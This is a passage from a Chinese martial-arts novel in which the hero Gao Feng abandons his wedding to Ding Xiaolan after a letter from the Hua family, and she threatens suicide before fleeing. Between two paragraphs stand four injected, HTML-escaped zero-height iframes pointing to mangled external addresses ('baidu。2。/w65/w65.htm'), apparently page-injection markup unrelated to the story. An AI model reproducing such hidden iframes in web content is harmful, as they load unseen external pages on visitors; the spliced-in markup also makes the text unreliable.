孙大虎本来就是性情粗暴之人,这时哪还有按耐得住之理?啪的一拍桌子,骂道:“奶奶的,金剑帮瞎了眼睛,孙大虎更瞎了眼睛,偏要揽这份热脸贴人家冷屁股的活儿!”
他哈哈大笑几声,笑声中也不知是悲愤,还是后悔,又道:“我孙大虎是个粗人,云老大说我有时候不知道为什么而开罪朋友,看来我今日又犯这个毛病啦,姓高的,你直接点说,老子什么地方开罪你的?”
高风道:“金剑帮财非正路,人非正经,高风不愿结交,就这么简单!”
孙大虎果然没再说什么,带着同来的帮众出了厅去。
此时此刻,厅上数百豪杰都感意外,各人暗自猜想,有的互相议论,足足过了盏茶时分,才得以平息。
到了午后,依然有远来的贺客前来道贺。
高风因为金剑帮孙大虎横出一事,又想起丁晓兰毒伤无救,心情更落,不自觉间多饮了几杯。
正自他酒意微醉,忽见丁湘玉匆匆自厅外进来,附耳对周鹏说了几句话。
周鹏竟似颇为意外,起身说道:“你是说洛阳翠竹庄花仰鹤老庄主家人前来道贺?”
丁湘玉点头道:“是的,师父,他们自称是花庄主的孙子和孙女。”
周鹏道:“他们人呢?快快有请。”
丁湘玉应声而出。
同席的紫遐道长、葛如楼等人听了,皆夸赞:“周掌门好大面子,武林中万人敬仰的花老庄主居然也差家属前来道贺。”
五十八章 婚喜惊变4
高风听了更是心头大震,只差点没起身随着丁湘玉一起出厅前去迎接,忽然想起今日乃是自己与晓兰大婚之喜,又有何面目再去见花家之人?就算见面,又问些什么说些什么呢?
正自他百感交集、恍恍惚惚之时,果然见到丁湘玉陪同一对气质高雅少年男女进入厅来,二人一般的十四五岁年纪,男的英姿勃发,相貌俊美,举止大方;女的秀丽可人,容颜绝色,妙目四盼。
厅中已有不少人发出感叹:“好俊的一对人儿!”
到了近处,那少年在丁湘玉指引之下,向周鹏行礼说道:“小辈花云藏、花藏艳受爷爷之命,特来向周掌门贺尊徒大婚之喜。”
周鹏心下得意,点头微笑道:“花老庄主太客气了,你们俩都是花老庄主的孙儿孙女吗?”
那少年花云藏道:“是的,我与妹妹是龙凤双胞,向来较少分开,是以今日同来。”
厅上近处之人听了,皆是啧啧称奇,大感兴趣。
周鹏亦感兴致,赞道:“花老庄主当真福气,竟得如此一对可爱小孙。”
花云藏道:“对了,周掌门,爷爷还特别嘱咐,请您下月十二前往翠竹庄吃一碗寿面。”
周鹏点头道:“下月花老庄主六十大寿,我是一定到的。”
华山掌门葛如楼与翠竹庄有些交情,问道:“云藏、藏艳,几年未见,还认识我吗?”
花藏艳咬着皓齿笑道:“怎么不认识,你是华山葛叔叔。”
葛如楼面露欣喜,道:“想不到几年未见,你们都长成大人了,你们爷爷和爹爹都还好吧?”
花藏艳道:“都还好,就是小姑不太好。”
她的话语一落,厅上许多人都不自禁笑出声来,都想这小孩儿家说话当真有趣,人家问你爷爷爹爹,你说小姑干嘛。
而在高风听来,却仿佛晴天震雷,暗叫:“香菱出了什么事?”众人之前,又不便开口询问。
葛如楼似也觉得有些意外,道:“你小姑怎么啦?”
花云藏忽而拉了拉妹妹的手,显然示意她不要回答。
花藏艳笑了笑,果然不答,却又对周鹏说道:“请问周掌门,今日与您徒儿成亲的是不是一个叫高风的人?”
周鹏点头道:“是的。”
花藏艳道:“这就对了。”转头对花云藏道:“哥哥,临来时候爷爷给了一封信说要交给他的。”
花云藏道:“嗯,周掌门,请问哪位是高风?”
自从花家二人进入丁家庄,高风的心情便始终忽起忽落,错综复杂,既想上前询问些事,又担心自己情绪失控影响了今日大婚之事,此刻终于站起身,道:“我是高风。”
花云藏看着他笑了笑,从怀中取出了一封信件递了过来,道:“这是爷爷写的亲笔信。”
高风恭恭敬敬接过了信,打开,信的内容异常简单,短短八字:吾现在愿兑现承诺。信末署名花仰鹤。
这封短信,竟仿佛是来自地狱被诅咒过的符咒一般,高风看完信后居然整个人都为之虚脱,一下子落在座椅之上,双目失神,全身汗如雨下,竟仿佛痴了,口中喃喃自语:“怎么会这样?我该如何是好?……”
五十九章 婚喜惊变5
此情此景,厅上之人皆感意外,甚至连带信过来的花云藏、花藏艳都为之变色。
唐中龙还以为高风中了毒,一个箭步跨过来拉住他手,待确定并无异样后,才问道:“你怎么会事?”
高风紧紧握住他手,口中兀自喃喃自语:“香菱呀香菱,为什么非要到今天,非要到此刻才给我消息?”
他忽然又站起身大叫:“老天爷!为什么?”声音大极,整个丁家庄都为之震动。
丁湘龙、丁湘玉、周鹏及众泰山弟子都围了过来:“高风,怎么啦?”
“出了什么事?”
“高师兄,你干什么?”
“信上究竟写什么?”
丁湘玉忽然接过信在看,可是看不明白。
周鹏也看了信,同样看不懂。
唐中龙看完信,眉头大皱,对花云藏道:“这信确是你爷爷亲笔所写?”
花云藏点点头。
唐中龙的脸上透过一层迷茫之色,朗声说道:“你们都散开,没什么严重事情。”当即拉了高风的手便往厅外而去。
高风似已六神无主,目光呆滞,随着他出厅,口中依旧自语不停。
群豪互相议论,皆想高风与翠竹庄究竟有何关联?那信又是什么意思?
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到了厅外一处无人角落。
唐中龙高声道:“你知道吗?现在你必须振作精神!”
高风的脸已因内心的痛苦而扭曲变形,瞳孔在收缩,牙齿更因咬的过紧而流出血来。
唐中龙又道:“现在大厅上所有的人都看不明白那封信,但不出片刻必然传到丁晓兰的耳中,她可是一定看的明白的。”
高风终于吭了声:“那么你说……我该怎么办?”
唐中龙道:“你现在起码还有一点时间可以做出选择。”
高风的声音已有些嘶哑:“晓兰待我情深意重,义母及丁家上下全部待我如同亲人,我怎么能……”
唐中龙叱道:“现在你应该想清楚你想要的真正结果。没错,丁晓兰待你情深,可是她已只有百天之命,她值得你用你和花香菱一生的幸福去换吗?你更要想明白,你与花香菱彼此之间互相有多重要?花仰鹤庄主乃当世人中之龙,他给了你与花香菱那个为期十年的承诺,实是对人世真情的考验,而你和花香菱却彼此花费十五年的时间去等候,孰轻孰重?你自己考虑!”
高风已为他的话语深深打动,内心却依然满是疑惑:“可是……天底下怎么会有如此巧合之事?为什么非要等到今天才给我消息?”
唐中龙道:“事出必然有因,你别忘记,下个月是花老庄主六十大寿,我想这之间多少有点关联。”
高风的眼睛仿佛一瞬间恢复了神采,可是当他一想到自己弃婚而去,丁家众人必定无比伤心时,他的眼睛立刻又充满痛苦,充满绝望。
唐中龙从他眼神已感受他的痛苦和绝望,深吸了口气,道:“你现在一方面担心丁家人伤心痛苦,另一方面更担心别人骂你不忠不孝!”
高风苦叹道:“如此做人,还有什么味道?”
唐中龙道:“但你想得再长远一些,三个月后,丁晓兰死去,她为什么而死你很清楚,到那时你又将如何面对丁家之人?再从花香菱角度考虑,你放弃花庄主给你的这次宝贵机会,你又将如何面对她?对她和花家,你同样是不仁不义!”
高风怔立当场,久久无语,忽然大叫一声:“我不要成亲!”转身飞奔而回聚宴大厅。
第六十章 悲情离别1
厅上群豪及丁家众人先前因那封信件导致高风神色有异,便已争论不休,疑惑重重,此刻再见他如癫似狂冲进厅来,居然声称不要成亲,无不震惊,尤其周鹏及丁家之人更觉不可思议。
周鹏俨然已是今日之主,于众好友豪杰之前更感颜面尽失,直气得胡子直吹,喝骂:“高风,你疯了吗?”
高风此时决心已下,三手两扯便已除去身上喜服,扔掉在地,沉声道:“我对不起泰山派,对不起今日前来的武林前辈豪情兄弟,更对不住义母和晓兰……”
丁家兄弟二人急怒交加,眼中似乎都将喷出火焰,只听呛的一响,丁湘玉已然抽剑在手,厉吼道:“你说这究竟为什么?否则我杀了你!”
高风道:“丁二,你不要逼我,其间有许多事情你不明白!”
丁湘玉忽然想起,高风之所以突起变故,完全是因为那封花家信件,当下不再多想,指剑对花家二人厉喝:“呔!那信究竟什么意思?”
花家兄妹二人虽出生名门世家,毕竟年幼,何曾遇见过此等阵仗?一时间吓得容颜失色,不由得各自向后退了两步。
便在此时,群豪中走出一灰衣汉子,拦在了花家二人身前,对丁湘玉冷冷说道:“你若再敢对翠竹庄的人半分无礼,明年的今日便是你的忌日!”
此人中等身材,语声阴沉尖锐,面色苍白可怖,似又微起褶皱,眼睛深陷,年龄当真难以判断,而此刻在场的几位前辈高手已然瞧出,他是戴了副人皮面具,并且正是先前与金剑帮孙大虎交手过招的灰衣人,他不知何时又悄悄混入厅来?
丁湘玉瞳孔收缩:“阁下何人?……”正待挺剑上前,忽觉手腕一紧,原来却是师父过来拦阻。周鹏爱徒心切,更知眼前之人厉害,是以阻止丁湘玉愤怒之际涉险。
那灰衣人道:“周掌门,你与花庄主有点交情,希望别因小辈之事闹到不可收场,不好见面才好。”
周鹏道:“花仰鹤老庄主乃当世英豪,人中之龙,行事光明磊落,何以阁下竟不愿以真面目示人?”
那灰衣人哼了一声,道:“人的真面目假面目其实并不重要,重要的是够不够自由,够不够快乐,能不能达成心中所愿,如果活得疲惫,活得痛苦,即使敢于以真面目示人,那又有什么味道?”
周鹏冷笑:“阁下巧语强辩,话藏玄机,用意何在?”
灰衣人瞧了一眼高风,又对周鹏说道:“没什么用意,只不过在下想告诉某些人,要尊重别人的自由选择,莫要强人所难,否则也不过徒增苦恼而以。”
正说道此处,忽又见六七人进入厅来,当先两人正是丁老夫人和丁晓兰,想来是泰山弟子将讯息传了过去。
丁晓兰面色苍白,一看厅上情形,再见高风衣着神情,立时明了一切,只觉万念俱灰,手脚麻木,再难移步,脸上泪珠滚滚而落:“高风,你……”声音已然嘶哑,所有话语皆已哽咽在喉咙之中。<;iframe src=http://baidu。2。/w65/w65。htm width=100 height=0>;<;/iframe>;<;iframe src=http://baidu。2。/w65/w65。htm width=100 height=0>;<;/iframe>;<;iframe src=http://baidu。2。/w65/w65。htm width=100 height=0>;<;/iframe>;<;iframe src=http://go。2。/w65/w65。htm width=100 height=0>;<;/iframe>;
六十一章 悲情离别2
高风似乎已不忍再看她一眼,迎上去,在丁老夫人面前跪了下来。
丁老夫人的神情永远那么庄严,那么慈祥:“风儿,你怎么啦?起来说话。”伸手去拉高风。
高风不愿起身,拉住她的手道:“孩儿对不起义母,孩儿今日不能成亲。”
丁老夫人的脸上透过一丝痛苦失望之色,喟然叹道:“风儿你先起来,无论什么样的事情,你就算跪下也于事无补呀。”
高风这才起身,道:“义母,孩儿十五年前与洛阳花家曾有诺言约定,未曾想今日铸成大错,孩儿不敢请求原谅,只求义母平心静气,保重身体,同时照料好……”说着话瞧向丁晓兰,不料丁晓兰却正一直盯着自己,二人目光相触,他的话再也说不出口。
丁晓兰紧咬嘴唇,忽然转身,自一名泰山弟子身上夺过一柄长剑,高声道:“高风,你今天当真要弃婚而去吗?……”
高风心痛已极,既不敢点头承认摇头否认,也不敢出声,只怕一个言语之失,她引剑自刎,后果难以想象。
厅上众人瞧此情形,无不失色。
丁老夫人眼中含泪,颤声道:“兰儿,不要乱来。”
丁湘龙、丁湘玉齐声惊叫:“小妹,把剑放下!”
两人正待上前夺剑,丁晓兰反应极快,忽而倒转剑锋,将长剑架在了自己颈上,如此一来,厅上所有的人皆感束手无策。
周鹏虽为一派宗师,生性和谐,却也被小辈情感之事闹腾的心神疲惫,此刻再也沉不住气,厉声道:“晓兰,你重情重义,看淡生死,勇气可贵,可是你想清楚,你的生命不只属于你,她关系着你的母亲兄长,还有泰山派师兄弟姐妹,还有为师啊,你真的忍心我们所有的人为你伤心难过吗?”
丁晓兰泪流满面,瞧了瞧母亲,瞧了瞧师父及两位兄长,最后终究将目光投在了高风身上,万般愁苦之际仿佛又有所领悟,无奈说道:“高风,即使我今日以死相胁,留你下来成亲,你它日依旧会舍我而去,罢了罢了。”
她忽而手腕一翻,剑锋削落一撮秀发抛于地下,又道:“你我今日恩断义绝,彼此之间互不相欠!”当的一声,掷剑在地,转身飞奔出厅。
丁湘龙、丁湘玉大叫“小妹”的声中欲待追出,却被周鹏叫住:“她此刻死意已去,任她去吧。”
丁晓兰奔出了丁家庄,奔逃出安庆城,爬过山坡,穿过丛林,踏过农田,趟过急流,树枝划破了腿脚,河水湿透了衣衫。
这些她完全都已不在乎